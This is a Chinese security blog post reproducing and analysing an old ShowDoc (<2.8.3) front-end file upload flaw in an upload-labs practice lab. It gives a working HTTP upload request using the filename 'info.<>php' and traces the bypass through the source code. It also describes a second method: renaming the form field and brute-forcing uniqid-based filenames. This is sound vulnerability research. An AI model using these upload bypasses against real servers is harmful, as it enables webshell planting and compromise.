老洞复现+分析 | ShowDoc<2.8.3 前台文件上传

admin 2022年6月6日21:00:03评论1,336 views字数 2823阅读9分24秒阅读模式

老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

0x00 前言

本文为开普勒版upload-labs靶场的第22关,使用的php版本为7.3。


关于小黑刷upload-labs靶场的全系列:

1、《上传靶场upload-labs搭建及使用》

2、《upload-labs靶场1-5关

3、《upload-labs靶场6-10关

4、《upload-labs靶场11-16关

5、《upload-labs靶场17-21关

6、《老洞复现 | FCKeditor V2.4.3 php版文件上传


0x01 poc sir,exp sir

老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

POST /Pass-22/index.php?s=/home/page/uploadimg HTTP/1.1Host: admin360bug.meContent-Type: multipart/form-data; boundary=----WebKitFormBoundary4tG5TBd13UUnM7Y6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Content-Length: 222

------WebKitFormBoundary4tG5TBd13UUnM7Y6Content-Disposition: form-data; name="editormd-image-file"; filename="info.<>php"Content-Type: image/jpeg
<?phpphpinfo();?>
------WebKitFormBoundary4tG5TBd13UUnM7Y6--

直接对着接口index.php?s=/home/page/uploadimg构造上传请求就行了,上传表单的name属性为editormd-image-file,文件名要在php前面加一对<>符号。


文件上传后的路径会在响应包里回显出来,很贴心。


0x02 源码分析

老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

ShowDoc使用的是thinkphp框架,poc中的s参数就是路由。根据?s=/home/page/uploadimg,可以去根目录下的/server/Application/中找到源码所在的位置。


定位到uploadImg函数,其中关键的几句如下:

1、匹配.php过滤文件。

if (strstr(strtolower($_FILES['editormd-image-file']['name']), ".php") ) {    return false;}

2、设置后缀白名单

$upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型

3、调用thinkphp自带的Upload类中的upload方法

$upload = new ThinkUpload();// 实例化上传类...$info = $upload->upload() ;


可以看到源码并非没有做过滤,反而黑白名单都给安排的明明白白的。那这个漏洞到底是怎么产生的呢,为什么上传info.<>php即可使过滤形同虚设。我们跟进thinkphp自带的upload方法去看看。


老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

路径:serverThinkPHPLibraryThinkUploadUpload.class.php


$file['name']  = strip_tags($file['name']);

148行,该方法中使用了strip_tags函数对文件名做了处理,该函数的作用是去除字符串中的html标签,即<>及之间的部分。


而产生漏洞的uploadImg函数中是先进行黑名单检测,再调用thinkphp自带的upload函数,所以我们上传info.<>php,即可在绕过匹配.php的黑名单同时,达到实际上传了php文件的效果(strip_tags函数处理后变成info.php)。


但是后面的白名单过滤没有生效是怎么回事呢?


if (!$this->check($file)){

白名单后缀的检测是在第159行,调用了Upload类里定义的check方法。


if (!$this->checkExt($file['ext'])) {

299行,check方法里又调用了checkExt方法。


老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

接下来就不用看了,在这里我们可以看到,参与检测的是file变量的ext属性。但在uploadImg函数中,白名单却赋值给了allowExts属性,作者的一处手误,导致了实际的白名单为空,自然就被绕过了。


0x03 另一种方式

老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传


这个漏洞还有另外一种利用方式,黑名单只过滤了$_FILES['editormd-image-file']['name'],那我们上传文件的时候改个name值(比如上图,在后面加个数字2)即可绕过黑名单直接上传php文件。


$url = get_domain().__ROOT__.substr($upload->rootPath,1).$info['editormd-image-file']['savepath'].$info['editormd-image-file']['savename'] ;

但这也有个问题,在uploadImg函数中定义的回显信息其中是写死了$info['editormd-image-file']['savename']的。我们改变上传文件的name值之后就收不到回显信息了,不知道文件名的话,即使文件上传成功也无法访问到。


老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

但我们观察代码可发现,文件名使用uniqid函数生成,该函数是基于当前时间生成一个随机的ID,时间相近的话ID也会相近。


老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传

这时便可以爆破一下文件名,先使用有回显的editormd-image-file,上传一个正常的txt文件,然后再使用editormd-image-file2上传php文件,根据首次上传的txt的回显可确定php文件的爆破范围,一般手速够快的话爆破后5位即可。上图演示的手速比较慢,需要爆破6位。


如果想明确一点的话,可以在上传php之后再上传一次txt,两个txt之间就一定是php文件的命名范围。


参考文献说thinkphp还支持多文件上传,可更近一步缩小时间差,但我这个环境测试失败了,本文就略过吧。


0x04 后记

老洞复现+分析 |  ShowDoc<2.8.3 前台文件上传
VX公众号:《小黑的安全笔记》

参考文献中对这个漏洞进行了很详尽的解析,还从开发者的角度分析了漏洞产生的原因。是一篇很优秀的文章,推荐阅读。


0x05 参考文献

https://mp.weixin.qq.com/s/ahYaKGyJqPJtuUEukvR4aA


END.

喵,点个赞再走吧~

原文始发于微信公众号(小黑的安全笔记):老洞复现+分析 | ShowDoc<2.8.3 前台文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月6日21:00:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   老洞复现+分析 | ShowDoc<2.8.3 前台文件上传https://cn-sec.com/archives/1090403.html

发表评论

匿名网友 填写信息